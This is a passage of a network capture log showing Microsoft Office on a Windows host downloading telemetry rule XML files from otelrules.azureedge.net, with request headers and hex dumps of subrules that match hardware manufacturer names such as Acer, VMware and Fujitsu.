</S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.8	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:34 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 22943564-b01e-0021-0b03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094734Z-r1cf579d778mvsklhC1EWRkavg000000056g000000002zyy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.8	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:34 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: aae5b6c6-f01e-005d-7a06-4813ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094734Z-r1cf579d778w59f9hC1EWRze6w00000005c00000000004xc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:34 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.8	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:36 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:36 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 3bfd724e-501e-0016-6705-48181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094736Z-r1cf579d778qlpkrhC1EWRpfc800000005q00000000021h3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:36 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.8	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:36 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:36 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 1f14184f-601e-0050-3802-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094736Z-r1cf579d778lntp7hC1EWR9gg400000004e0000000002gnv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:36 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.8	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:36 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:36 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: fff301c7-601e-0097-4606-48f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094736Z-r1cf579d778v97q7hC1EWRf95c00000004r0000000000mqs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:36 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.8	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:36 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:36 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 229463e4-b01e-0021-2a03-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094736Z-r1cf579d778z4wflhC1EWRa3h00000000530000000001msy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:36 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.8	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:36 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:36 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: ad3e0835-e01e-0033-5701-484695000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094736Z-r1cf579d778qgtz2hC1EWRmgks00000004t0000000002ta6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:36 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.8	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:38 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:38 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c060231a-801e-00ac-2403-48fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094738Z-r1cf579d778dfdgnhC1EWRd3w000000004w00000000014uk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:38 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.8	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:38 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: f6d2a488-401e-000a-7403-484a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094738Z-r1cf579d7788pwqzhC1EWRrpd800000005500000000045zh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.8	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:38 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:38 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: e9e1dff1-101e-0065-7303-484088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094738Z-r1cf579d77898tqwhC1EWRf9q800000005000000000036r9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:38 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.8	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:38 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:38 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 987987f9-101e-0034-0e02-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094738Z-r1cf579d778dndrdhC1EWR4b2400000004mg000000002yxs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:38 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.8	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 09:47:38 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 09:47:38 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 09:47:38 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 7b99b195-101e-0017-7009-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T094738Z-r1cf579d7784wpmvhC1EWRk4cn00000004e0000000002hgq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 09:47:38 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" 